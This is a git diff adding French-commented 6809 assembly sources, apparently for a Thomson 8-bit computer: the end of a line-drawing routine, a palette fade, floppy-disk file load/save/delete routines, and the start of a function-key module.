+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #8
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #4
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #2
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #1
+ STB MMSEG1+1
+
+ LDX #ECRAN
+ LDA #40
+ LDB <Z+5
+ MUL
+ LEAX D,X
+ LDB <Z+4
+ LSRB
+ LSRB
+ LSRB
+ ABX
+ LDB <Z+4
+ ANDB #7
+ LDA B,U
+ STA <Z
+ CLRB
+
+ LDA ,X
+LINE1 ORA <Z
+ DEC <Z+1
+ BNE *+5
+ STA ,X
+ RTS
+ LSR <Z
+ BNE MMSEG1
+ ROR <Z
+ STA ,X+
+ LDA ,X
+MMSEG1 ADDB #0
+ BCC LINE1
+ STA ,X
+ LEAX 40,X
+ BRA LINE1-2
+
+VERTI1 STB <Z+1
+ CLRB (dx) / (dy) = 0.?
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #128
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #64
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #32
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #16
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #8
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #4
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #2
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #1
+ STB VIRG1+1
+
+ LDX #ECRAN
+ LDA #40
+ LDB <Z+5
+ MUL
+ LEAX D,X
+ LDB <Z+4
+ LSRB
+ LSRB
+ LSRB
+ ABX
+ LDB <Z+4
+ ANDB #7
+ LDA B,U
+ STA LINE2+3
+ CLRB
+
+LINE2 LDA ,X
+ ORA #0
+ STA ,X
+ LEAX 40,X
+ DEC <Z+1
+ BNE *+3
+ RTS
+VIRG1 ADDB #0
+ BCC LINE2
+ LSR LINE2+3
+ BNE LINE2
+ ROR LINE2+3
+ LEAX 1,X
+ BRA LINE2
+
+MONTEE LDD <Z+6
+ SUBA <Z+4 A = (dx)
+ STA <Z+1
+ LDB <Z+5
+ SUBB <Z+7 B = (dy)
+ CMPB <Z+1
+ LBHI VERTI2 quand (dy) > (dx)
+
+ TFR B,A
+ CLRB (dy) / (dx) = 0.?
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #128
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #64
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #32
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #16
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #8
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #4
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #2
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #1
+ STB MMSEG2+1
+
+ LDX #ECRAN
+ LDA #40
+ LDB <Z+5
+ MUL
+ LEAX D,X
+ LDB <Z+4
+ LSRB
+ LSRB
+ LSRB
+ ABX
+ LDB <Z+4
+ ANDB #7
+ LDA B,U
+ STA <Z
+ CLRB
+
+ LDA ,X
+LINE3 ORA <Z
+ DEC <Z+1
+ BNE *+5
+ STA ,X
+ RTS
+ LSR <Z
+ BNE MMSEG2
+ ROR <Z
+ STA ,X+
+ LDA ,X
+MMSEG2 ADDB #0
+ BCC LINE3
+ STA ,X
+ LEAX -40,X
+ BRA LINE3-2
+
+VERTI2 STB <Z+1
+ CLRB (dx) / (dy) = 0.?
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #128
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #64
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #32
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #16
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #8
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #4
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #2
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #1
+ STB VIRG2+1
+
+ LDX #ECRAN
+ LDA #40
+ LDB <Z+5
+ MUL
+ LEAX D,X
+ LDB <Z+4
+ LSRB
+ LSRB
+ LSRB
+ ABX
+ LDB <Z+4
+ ANDB #7
+ LDA B,U
+ STA LINE4+3
+ CLRB
+
+LINE4 LDA ,X
+ ORA #0
+ STA ,X
+ LEAX -40,X
+ DEC <Z+1
+ BNE *+3
+ RTS
+VIRG2 ADDB #0
+ BCC LINE4
+ LSR LINE4+3
+ BNE LINE4
+ ROR LINE4+3
+ LEAX 1,X
+ BRA LINE4
+
+PUISS FDB $8040,$2010,$0804,$0201
+ END
diff --git a/code/3rdparty/sources2-hcl/FADE.ASM b/code/3rdparty/sources2-hcl/FADE.ASM
new file mode 100644
index 0000000..fca9f54
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/FADE.ASM
@@ -0,0 +1,97 @@
+****************************************
+* - F A D E - *
+* Cette routine passe de la palette de *
+* couleurs courante à celle stockée en *
+* $DFE0 en réalisant un fondu enchaîné *
+****************************************
+*Laurent Hiriart, 67420 COLROY-la-ROCHE*
+****************************************
+
+DIR EQU ENDPRG/256
+V EQU ENDPRG-DIR*256
+NPASS EQU V nombre d'étapes
+NCOLOR EQU V+1 No couleur traitée
+ACTUEL EQU V+2 sa palette courante
+BLEU EQU V+4 hauteur de Bleu
+VERT EQU V+5 hauteur de Vert
+ROUGE EQU V+6 hauteur de Rouge
+
+WAIT EQU 1 Attente entre 2 étapes
+
+ ORG $DF58
+G PSHS X,B,A,DP,CC
+ LDD #$1000+DIR accès direct
+ TFR B,DP aux "variables"
+ STA <NPASS
+ LDU #$E7DA +rapide & +concis
+
+APPEAR LDD #$1E00+WAIT
+ TST 13,U
+ BPL *-2 attend le retour
+ TST 13,U du spot sur la
+ BMI *-2 ligne 200.
+ DECB
+ BNE APPEAR+3
+ LDX #8*45 descend bien bas
+ LEAX -1,X dans le border
+ BNE *-2
+ LDX #COLORS+32
+ STA <NCOLOR
+
+PALETT LDA ,-X palette finale
+ ANDA #15
+ STA <ROUGE hauteurs de rouge,
+ LDD ,-X
+ ANDA #15
+ ANDB #240
+ STD <BLEU de bleu et de vert
+
+ LDA <NCOLOR 2*No de la couleur
+ STA 1,U
+ LDB ,U palette courante
+ LDA ,U de la couleur
+ ANDA #15 courante
+ STD <ACTUEL
+
+COMPO1 LDA <ACTUEL+1
+ ANDB #15
+ CMPB <ROUGE (ajuste le rouge)
+ BHI SUBROU
+ BEQ COMPO2
+ ADDA #2 Quelques octets de
+SUBROU DECA moins à recopier
+
+COMPO2 LDB <ACTUEL+1
+ ANDB #240
+ CMPB <VERT (ajuste le vert)
+ BHI SUBVER
+ BEQ COMPO3
+ ADDA #32 c'est déjà ça d'é-
+SUBVER SUBA #16 pargné au lecteur
+
+COMPO3 STA <ACTUEL+1
+ LDA <ACTUEL
+ CMPA <BLEU (ajuste le bleu)
+ BHI SUBBLE
+ BEQ FINCOU
+ ADDA #2 de Micro-News qui
+SUBBLE DECA recopie mes DATAS.
+
+FINCOU LDB <NCOLOR
+ STB 1,U
+ LDB <ACTUEL+1
+ STB ,U validation de la
+ STA ,U nouvelle palette
+ DEC <NCOLOR
+ DEC <NCOLOR couleur suivante
+ BPL PALETT ...
+
+ DEC <NPASS étape suivante ...
+ BNE APPEAR
+ PULS CC,DP,A,B,X,U,PC on sort
+
+ENDPRG FCB 0,0,0,0,0,0,0 "variables"
+ FCC "HCL" *-> Lg multiple de 8
+COLORS * nouvelles palettes stockées ici
+
+ END
diff --git a/code/3rdparty/sources2-hcl/FILES.ASM b/code/3rdparty/sources2-hcl/FILES.ASM
new file mode 100644
index 0000000..843ab82
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/FILES.ASM
@@ -0,0 +1,786 @@
+** Traitement des fichiers et du DISK **
+
+ FCC "Hunks Exec "
+HUNKS JSR FILPOS
+ LDA #11 Bad File Mode
+ LDB 11,X Type du fichier:
+ CMPB #2 langage machine
+ LBNE ERROR
+ LDB 12,X Sémaphore:binaire
+ LBNE ERROR
+ LDD 14,X nb octets dans le
+ STD <BYLASE dernier secteur
+ LDB 13,X 1er bloc ds la FAT
+ STB <FATPTR
+ LDX #FAT+1 ce pointeur est-il
+ LDB B,X cohérent
+ CMPB #$A0
+ BLO H1FTOK
+ LDA #9 Bad File Structure
+ SUBB #$C1
+ CMPB #7
+ LBHI ERROR
+H1FTOK CLR <LASTBK dernier bloc? FAUX
+ CLR <LASTSC "" secteur? FAUX
+ LDX #IOZONE
+ STX <DKBUF
+ JSR LPOSFT 1er bloc fichier
+ JSR HNXSEC
+ LDA #40 affiche "Hunks "
+ LDU #HUNKS-14
+ LDB ,U+
+ JSR PUTC
+ DECA
+ CMPA #33
+ BNE *-8
+ JSR PUTC
+ DECA
+ BNE *-4
+ LDU <CURSOR
+ LEAU -313,U
+ STU <CURSOR
+ LDD #$718
+ STA <XPOS
+ STB <CMPT+1
+
+HDGON LDU #IODESC
+ LDY #5
+ JSR LVIDBF
+ LDY IODESC+1 nombre d'octets
+ LDU IODESC+3 adresse début
+ LDA IODESC
+ BNE EOHNK code <>0 = EOfile
+ TFR U,D
+ JSR DA2HEX
+ TFR B,A
+ JSR DA2HEX
+ LDB #'-
+ JSR PUTC
+ LDB #'>
+ JSR PUTC
+ TFR Y,D
+ SUBD #1
+ LEAU D,U
+ TFR U,D
+ JSR DA2HEX
+ TFR B,A
+ JSR DA2HEX
+ LDA <XPOS
+ CMPA #20
+ BLO AFHNK2
+ DEC <CMPT+1
+ BNE HFPAUS
+ JSR GETC
+ BCC *-3
+ CMPB #2
+ BEQ HVIDBF-1
+ LDA #24
+ STA <CMPT+1
+HFPAUS LDD #$3320
+ JSR PUTC
+ DECA
+ BNE *-4
+ LDU <CURSOR
+ LEAU -313,U
+ STU <CURSOR
+ LDA #7
+ STA <XPOS
+ BRA EOHNK-8
+AFHNK2 LDB #32
+ JSR PUTC
+ JSR PUTC
+ LDU IODESC+3
+ BSR HVIDBF
+ JMP HDGON
+EOHNK LDA #9 Bad File Structure
+ LEAX -IOZONE,X nombre d'octets
+ CMPX <BYLASE dans le dernier
+ LBNE ERROR secteur
+ LDA <XPOS
+ CMPA #10
+ BHI EOHNK2
+ LDU <CURSOR
+ LEAU -7,U
+ STU <CURSOR
+ CLR <XPOS
+ BRA EOHNK3
+EOHNK2 LDB #32
+ JSR PUTC
+ LDA <XPOS
+ BNE *-5
+EOHNK3 LDA #7
+ LDU #HUNKS-7
+ LDB ,U+
+ JSR PUTC
+ DECA
+ BNE *-6
+ LDD IODESC+3
+ JSR DA2HEX d'exécution
+ TFR B,A
+ JSR DA2HEX
+ LDB #32
+ JSR PUTC
+ LDA <XPOS
+ BNE *-5
+ RTS
+
+HVIDBF LEAX 1,X vide le buffer I/O
+ CMPX #IOZONE+255 fin buffer ?
+ BNE *+8
+ LDB <LASTSC fin dernier sector
+ BNE HNXSEC-1 -> fin fichier
+ BSR HNXSEC
+ LEAY -1,Y fin transfert ?
+ BNE HVIDBF
+ RTS
+
+HNXSEC JSR DISK
+ INC <DKSEC secteur suivant
+ DEC <CMPT fin du bloc ?
+ LBNE LNXSCF
+ LDB <LASTBK dernier bloc lu
+ LBEQ LPOSFT ->pas de suivant!
+ STB <LASTSC
+ JMP LNXSCF dernier secteur
+
+LOADM JSR FILPOS
+ LDA <FILETY
+ BNE IGFITY
+ LDB 11,X Type du fichier:
+ CMPB #2 langage machine
+ BNE *+6
+ LDB 12,X Sémaphore:binaire
+ BEQ *+7
+ LDA #11 Bad File Mode
+ JMP ERROR
+IGFITY LDU 14,X nb octets dans le
+ STU <BYLASE dernier secteur
+ LDB 13,X 1er bloc ds la FAT
+ STB <FATPTR
+ LDX #FAT+1 ce pointeur est-il
+ LDB B,X cohérent
+ CMPB #$A0
+ BLO L1FTOK
+ SUBB #$C1
+ CMPB #8
+ BLO *+7
+ LDA #9 Bad File Structure
+ JMP ERROR
+L1FTOK CLR <LASTSC "" secteur? FAUX
+ CLR <LASTBK dernier bloc? FAUX
+ LDX #IOZONE
+ STX <DKBUF
+ BSR LPOSFT 1er bloc fichier
+ LDA <FILETY
+ BEQ RILODM
+ LDU <LSHIFT début du buffer
+ LDY <FILSIZ taille+1 du buffer
+ BSR LNXSEC
+ LEAY -1,Y
+ BRA LVIDBF
+RILODM BSR LNXSEC
+
+LDGON LDU #IODESC
+ LDY #5
+ BSR LVIDBF
+ LDY IODESC+1 nombre d'octets
+ LDU IODESC+3 adresse début
+ LDD <LSHIFT
+ LEAU D,U +décalage
+ LDA IODESC
+ BNE EOLOD code <>0 = EOfile
+ BSR LVIDBF
+ BRA LDGON
+EOLOD LDA #9 Bad File Structure
+ LEAX -IOZONE,X nombre d'octets
+ CMPX <BYLASE dans le dernier
+ LBNE ERROR secteur
+ LDD IODESC+3
+ LDU #OPGJSR-4 adresse
+ JSR ATOHEX d'exécution
+ TFR B,A
+ JMP ATOHEX
+
+LVIDBF LDB ,X+ vide le buffer I/O
+ STB ,U+ vers la mémoire
+ CMPX #IOZONE+255 fin buffer ?
+ BNE *+8
+ LDB <LASTSC fin dernier sector
+ BNE LNXSEC-1 -> fin fichier
+ BSR LNXSEC
+ LEAY -1,Y fin transfert ?
+ BNE LVIDBF
+ RTS
+
+LNXSEC JSR DISK
+ INC <DKSEC secteur suivant
+ DEC <CMPT fin du bloc ?
+ BNE LNXSCF
+ LDB <LASTBK dernier bloc lu ?
+ BEQ LPOSFT NON:prépare suivnt
+ STB <LASTSC OUI:c'est donc le
+ LDB <FILETY dernier secteur
+ BEQ LNXSCF que l'on vient de
+ CMPY <BYLASE
+ BLS LNXSCF
+ LDY <BYLASE charger ...
+ LEAY 1,Y
+ BRA LNXSCF (->taille si !BIN)
+
+LPOSFT LDX #FAT+1
+ LDB <FATPTR
+ ABX
+ LDA <FATPTR
+ LDB #1 Piste/Secteur
+ LSRA d'après No du bloc
+ BCC *+4
+ ADDB #8
+ STD <DKTRK
+ LDB ,X "libère" le bloc
+ LDA #-1 que l'on va lire
+ STA ,X
+ CMPB #$A0 à quoi ressemble
+ BHS *+8 le bloc que l'on
+ TFR B,A va lire ?
+ LDB #8 (nombre secteurs,
+ BRA LRBFTF fin de chaîne...?)
+ SUBB #$C1
+ CMPB #7
+ BHI LDBKER
+ INCB on va lire le
+ STA <LASTBK dernier bloc.
+LRBFTF STB <CMPT nombre de secteurs
+ STA <FATPTR
+LNXSCF LDX #IOZONE
+ RTS
+LDBKER LDA #9 Bad File Structure
+ JMP ERROR
+
+KILLM JSR FILPOS trouve le fichier
+ JSR KILFAT modifie FAT et DIR
+ LDB #2
+ STB <DKOPC commande WRITE
+ JSR DISK ré-écriture du DIR
+ LDX #FAT
+ STX <DKBUF
+ STB <DKSEC
+ JMP DISK écriture de la FAT
+
+FILPOS CLR <DKOPC opération READ
+ LDD #$1402
+ STD <DKTRK
+ LDX #FAT
+ STX <DKBUF
+ JSR DISK charge la FAT
+ LDX #CATALG
+ STX <DKBUF
+ LDA #3
+READIR STA <DKSEC
+ JSR DISK charge directory
+ LDX #CATALG
+DIRCMP PSHS X,A
+ LDU #FILNAM
+ LDA #11
+ LDB ,X+
+ CMPB ,U+
+ BNE *+5
+ DECA
+ BNE *-7
+ PULS A,X
+ BEQ EOSDIR oui:stop recherche
+ LDB ,X
+SRDIR1 CMPB #$FF fin du catalogue
+ BEQ FLNTFD
+ LEAX 32,X
+ CMPX #CATALG+256
+ BLO DIRCMP
+ INCA
+ CMPA #17
+ BLO READIR
+FLNTFD LDA #10 File Not Found
+ JMP ERROR
+EOSDIR RTS
+
+
+SAVEM LDA <FILETY
+ LDY #1
+ LDX <FILSIZ
+ CMPA #2
+ BNE QTBLCK
+ LEAX 10,X nombre de blocs
+QTBLCK CMPX #255 requis au total =
+ BLO SVRDFT (5+taille+5)/255
+ LEAY 1,Y
+ LEAX -255,X
+ BRA QTBLCK
+SVRDFT LDX #$1402
+ STX <DKTRK
+ LDX #FAT
+ STX <DKBUF
+ CLR <DKOPC
+ JSR DISK charge la FAT
+ LDB ,X+
+ BNE ANAFAT-5
+ LDD 40,X
+ CMPD #$FEFE
+ BEQ *+7
+ LDA #6 bad FAT structure
+ JMP ERROR
+ANAFAT LDB ,X+
+ CMPB #$FF
+ BNE *+6
+ LEAY -1,Y nombre de blocs --
+ BEQ PLAFOK
+ CMPB #$FE
+ BHS EANFAT
+ CMPB #$A0
+ BLO EANFAT
+ SUBB #$C1
+ CMPB #8
+ BLO EANFAT
+ LDA #6 bad FAT structure
+ JMP ERROR [0-9F][C1-C8]FE,FF
+EANFAT CMPX #FAT+161
+ BLO ANAFAT
+ LDA #7 disk full
+ JMP ERROR
+PLAFOK LDX #CATALG
+ STX <DKBUF
+ CLR <DIRSEC
+ LDA #3
+RDIRNX STA <DKSEC
+ LDX <DKBUF
+ LEAU 256,X
+ STU SRPLDF+4
+ JSR DISK charge directory
+SRPLDR PSHS X,A le fichier
+ LDU #FILNAM à sauver existe
+ LDA #11 déjà ?
+ LDB ,X+
+ CMPB ,U+
+ BNE *+5
+ DECA
+ BNE *-7
+ PULS A,X
+ BNE *+7 non:analyse suiv..
+ JSR KILFAT oui: le détruit et
+ BRA PLADF1 arrête l'analyse
+ LDB ,X
+ BNE SRPLD1
+ LDB <DIRSEC entrée libre:1ère?
+ BNE SRPLDF
+ STA <DIRSEC
+ STX <DIRPTR
+ LDU #IOZONE
+ STU <DKBUF
+ BRA SRPLDF
+SRPLD1 CMPB #$FF fin du catalogue
+ BEQ PLADFD
+SRPLDF LEAX 32,X
+ CMPX #CATALG+256 !! est modifié
+ BLO SRPLDR
+ INCA
+ CMPA #17
+ BLO RDIRNX
+ LDB <DIRSEC
+ BNE PLADF1
+ LDA #8 directory full
+ JMP ERROR
+PLADFD LDB <DIRSEC
+ BEQ PLADF1
+ LDA <DIRSEC
+ LDX <DIRPTR
+PLADF1 STA <DIRSEC
+ CMPX #IOZONE
+ BLO PLADF2
+ LEAX -256,X
+ CLRA
+ LDU #CATALG
+ LDY #IOZONE
+ LDB ,Y+
+ STB ,U+
+ DECA
+ BNE *-5
+PLADF2 STX <DIRPTR
+
+ LDD #1
+ STD <DKTRK
+ LDA #2 opération WRITE
+ STA <DKOPC
+ LDD <EXEADR
+ STD IODESC+3
+ LDD #$FF00
+ STD IODESC
+ STB IODESC+2
+ LDA #1 1er secteur
+ STA <FATPTR se positionne sur
+ JSR SPOSFT le 1er bloc libre
+ LDB <FATPTR
+ SUBB #2 Numéro du 1er bloc
+ STB 13,X logique du fichier
+ LDX #IOZONE
+ STX <DKBUF
+
+ LDY <FILSIZ
+ LDU <BEGADR
+ LDB <FILETY
+ CMPB #2
+ BNE NOSHNK
+ CLR ,X+
+ STY ,X++ longueur à écrire
+ STU ,X++
+ LDB <IMABNK si c'est une image
+ BMI *+6 MAP, le début est
+ CLR -1,X en fait $000 dans
+ CLR -2,X le fichier !!!
+NOSHNK CLR IOZONE+255
+ LDB #8 secteurs par bloc
+ STB <CMPT
+
+ BSR CPNSAV sauve le programme
+ LDB <FILETY
+ CMPB #2
+ BNE NOEHNK
+ CMPX #IOZONE+255
+ BNE *+4 si fin buffer I/O,
+ BSR SVNXTS avance d'1 secteur
+ LDU #IODESC
+ LDY #5
+ BSR CPNSAV sauve terminateur
+NOEHNK CMPX #IOZONE+255
+ BEQ *+5 si pas déja fait,
+ JSR DISK sauve buffer I/O
+ LEAY -IOZONE,X nombre octets
+ LDX #FAT utilisés dans
+ LDB <FATPTR le dernier secteur
+ ABX
+ LDB <DKSEC nombre de secteurs
+ CMPB #9 utilisés dans le
+ BLO *+4 dernier bloc
+ SUBB #8
+ ADDB #$C0
+ STB -1,X
+ BRA BLKTRV+2
+IODESC FCB $FF,0,0,00,00
+
+CPNSAV LDB ,U+ remplit buffer I/O
+ STB ,X+
+ CMPX #IOZONE+255
+ BLO *+4
+ BSR SAVSEC
+ LEAY -1,Y
+ BNE CPNSAV
+ RTS
+SAVSEC JSR DISK écrit un secteur
+ CMPY #1
+ BEQ SNXTSF+3
+SVNXTS INCA passe au secteur
+ CMPA #17 suivant
+ BLO *+6
+ INC <DKTRK
+ LDA #1
+ STA <DKSEC
+ DEC <CMPT 8 secteurs / bloc
+ BNE SNXTSF
+ LDB #8
+ STB <CMPT
+ LDX #FAT
+ LDB <FATPTR Prec=Courant
+ ABX
+ BSR SPOSFT nouveau Courant
+ LDB <FATPTR
+ SUBB #2
+ STB -1,X Prec->Suiv=Courant
+SNXTSF LDX #IOZONE
+ RTS
+SPOSFT PSHS X
+ LDX #FAT
+ LDB <FATPTR
+ ABX
+SRBKFT LDB ,X+ se positionne sur
+ INC <FATPTR le bloc libre
+ CMPB #$FF suivant
+ BEQ BLKTRV
+ ADDA #8
+ CMPA #17
+ BLO *+6
+ INC <DKTRK
+ LDA #1
+ STA <DKSEC
+ BRA SRBKFT
+BLKTRV PULS X,PC
+
+ LDX <DIRPTR suite & fin de la
+ LDU #FILNAM sauvegarde
+ LDA #11
+ LDB ,U+ copie du nom
+ STB ,X+ et du suffixe
+ DECA
+ BNE *-5
+ LDD <FILETY Type du fichier:
+ STA ,X+ langage machine
+ STB ,X++ Sémaphore: binaire
+ STY ,X++ Nb octets dans le
+ LDA #8 dernier secteur
+ LDB ,U+
+ STB ,X+ copie commentaire
+ DECA
+ BNE *-5
+ LDD #8
+ STA ,X+ 18 à 1F : réservé
+ DECB
+ BNE *-3
+
+ LDD #$1402
+ STD <DKTRK
+ LDX #FAT
+ STX <DKBUF
+ JSR DISK
+ LDB <DIRSEC
+ STB <DKSEC
+ LDX #CATALG
+ STX <DKBUF
+ JMP DISK
+
+KILFAT PSHS X,A
+ CLR ,X
+ LDB 13,X 1er bloc ds la FAT
+ LDX #FAT+1
+ ABX
+ LDA #$FF
+ LDB ,X
+ STA ,X
+ CMPB #$A0
+ BLO KILFAT+6 détruit chaînage
+ SUBB #$C1
+ CMPB #7
+ BHI *+4
+ PULS A,X,PC
+ LDA #9 Bad File Structure
+
+ERROR LDB #24
+ MUL
+ LDU #ERRTXT-24
+ LEAU D,U
+ LDA <IMABNK
+ BMI STDERR
+ PSHS U,A
+ LDA $E7C3
+ ANDA #254
+ STA $E7C3
+ JSR VW2BNK
+ LDX #NULL
+ JSR SETPAL
+ CLR >$E7DC
+ JSR FABSCR
+ PULS A,U
+ STA $E7E5
+STDERR LDX #$4000+192*40
+ CLR ,X+
+ CMPX #$5F40
+ BNE *-5
+ LDX #SCREEN+8+24*320
+ STX <CURSOR
+ LDD #$1808
+ STB <XPOS
+ LDX #SCREEN+25*320
+ STX <BOTTOM
+ CLR <CLIGNO
+ LDB ,U+
+ JSR PUTC affiche l'erreur
+ DECA
+ BNE *-6
+ JSR GETC
+ TSTB
+ BEQ *-4 attente clavier
+ LDX ,S
+ CMPX #ERRET1 dépile tout et
+ BEQ *+6 retour au menu
+ LEAS 1,S (fin d'option)
+ BRA *-9
+ CLRA
+ JMP HWINDW
+
+ERRTXT FCC " No Disk "
+ FCC " Bad Sector "
+ FCC " Timing Failure "
+ FCC " Unreadable Datas "
+ FCC " Disk Write Protected "
+ FCC " Bad FAT Structure "
+ FCC " Disk Full "
+ FCC " Directory Full "
+ FCC " Bad File Structure "
+ FCC " File Not Found "
+ FCC " Bad File Type "
+ FCC " Uncompressible Picture "
+ FCC " No Gadget Installed "
+
+FILNAM FCC "FILENAMEBINcomments"
+DISK PSHS U,Y,X,B,A initialisations
+ LDX #$E7D0
+ LDA #$41
+ TST <DKDRV sélection du drive
+ BEQ *+4
+ LDA #1
+ STA 2,X
+ STA <DKTMP
+ LDU #DKOPER
+ LDB <DKOPC
+ JSR [B,U]
+ PSHS CC
+ CLR ,X
+SORTIE LDB #$40 sortie
+ STB 2,X
+ PULS CC
+ LBNE ERROR
+ PULS A,B,X,Y,U,PC
+DKOPER FDB READ,WRITE
+
+ RTS
+READ JSR POSPIS
+ BNE READ-1 bad positionnement
+ JSR COMPEN
+ LDB #$1B
+ JSR POSSEC
+ LDA #4
+ LDY #$7500
+RDTRY1 LEAY -1,Y
+ BNE *+5
+ LDA #2 identificateur
+ RTS incorrect
+ LDB ,X
+ BITB #2
+ BEQ RDTRY1
+ LDB 3,X
+RDTRY2 DECA
+ BNE *+5
+ LDA #3
+ RTS problème de timing
+ LDB ,X
+ BPL *-2
+ LDB 3,X
+ CMPB #$FB
+ BNE RDTRY2
+ LDY #256
+LIT LDB ,X lecteur prêt ?
+ BPL *-2
+ LDB 3,X
+ STB ,U+
+ LEAY -1,Y
+ BNE LIT
+ LDB ,X
+ BITB #8 opération finie ?
+ BEQ *-4
+ BITB #4
+ BEQ *+4
+ LDA #4 checksum incorrect
+ RTS
+
+WRITE JSR POSPIS
+ BNE WRITE-1 pas positionné
+ LDA 1,X
+ BITA #4
+ BEQ *+5
+ LDA #5 disquette protégée
+ RTS
+ JSR COMPEN
+ LDB #$19
+ BSR POSSEC
+ LDY #$7500
+WRTRY1 LEAY -1,Y
+ BNE *+5
+ LDA #2 identificateur
+ RTS incorrect
+ LDB ,X
+ BITB #2
+ BEQ WRTRY1
+ STA 3,X
+ LDB ,X
+ BPL *-2
+ STA 3,X
+ LDB ,X
+ BPL *-2
+ LDB #$FB
+ STB 3,X
+ LDY #256
+ECRIT LDB ,X lecteur prêt ?
+ BPL *-2
+ LDB ,U+
+ STB 3,X
+ LEAY -1,Y
+ BNE ECRIT
+ LDB ,X
+ BITB #8 opération finie ?
+ BEQ *-4
+ JMP WAIT2-6
+
+COMPEN LDB <DKTRK si pistes internes
+ CMPB #$39 pré-compensation
+ BPL *+7
+ LDD #$9F00+256/8
+ BRA *+5
+INTERN LDD #$1F02+256/8
+ STA 7,X
+ STB 1,X
+ RTS
+
+POSSEC LDA <DKSEC
+ STA 5,X
+ LDA #10
+ STA 4,X
+ LDA #$A1
+ STA 3,X
+ LDU <DKBUF
+ STB ,X
+ RTS
+
+POSPIS BSR TSTDRV
+ BNE *+5 Lecteur non prêt
+ BSR MOVE
+ CLRA
+ RTS
+TSTDRV LDY #$8000 lance le drive
+ LDB <DKTMP (s'il existe!)
+ ORB #4
+ STB 2,X active moteur
+ ANDB #$FB
+ STB 2,X inactive moteur
+ LEAY -1,Y
+ BNE *+5
+ LDA #1 la disquette
+ RTS ne répond pas
+ LDB 1,X
+ ANDB #2
+ BEQ TSTDRV+4
+ CLRA le drive est prêt
+ RTS
+MOVE JSR WAIT3
+ LDB <TRACK la piste où est la
+ LDA <DKTMP tête présentement
+ SUBB <DKTRK
+ BEQ PISOK
+ BPL *+5
+ ORA #$20
+ NEGB
+ STA 2,X
+MVTETE ORA #$14 commande de pas ON
+ STA 2,X
+ ANDA #$EB pas OFF
+ STA 2,X
+ BSR WAIT3
+ DECB
+ BNE MVTETE
+ BSR WAIT2
+PISOK LDB <DKTRK la tête est sur la
+ STB 6,X bonne piste
+ STB <TRACK
+ RTS
+
+ LDY #$6C
+ BRA WAIT3+4
+WAIT2 LDY #$750
+ BRA WAIT3+4
+WAIT3 LDY #$2EC
+ LEAY -1,Y
+ BNE *-2
+ RTS
diff --git a/code/3rdparty/sources2-hcl/FNCTBASE.ASM b/code/3rdparty/sources2-hcl/FNCTBASE.ASM
new file mode 100644
index 0000000..99ab3ef
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/FNCTBASE.ASM
@@ -0,0 +1,541 @@
+FNCKIZ CMPB #$90
+ BLO EOFKIZ+1
+ CMPB #$99
+ BHI EOFKIZ+1
+ LDU #F1F5BF
+ ASLB
+ ASLB
+ ASLB
+ ASLB
+ CMPB #$50
+ BLO FKMTOY
+ SUBB #$50
+ LEAU B,U
+ TFR Y,D
+ BSR ATOHEX
+ TFR B,A
+ BSR ATOHEX
+ CLR ,U
+EOFKIZ CLRB
+ LDA #1
+ RTS
+FKMTOY LEAU B,U
+ LDA ,U
+ BEQ EOFKIZ
+ CLRA
+CHKFKI LDB ,U+
+ BEQ FMK2Y2
+ JSR CHKHEX
+ BEQ EOFKIZ
+ INCA
+ CMPA #5 5ème digit <> 0 ?
+ BEQ EOFKIZ
+ BRA CHKFKI
+FMK2Y2 LDX #FMKRET "empile" PC,X et B
+ PSHS X,DP,B,A
+ LEAU -1,U
+ JMP VALHEX
+FMKRET LEAY ,U
+ CLRB
+ RTS
+
+BB2DEC CLRA
+ ASLB
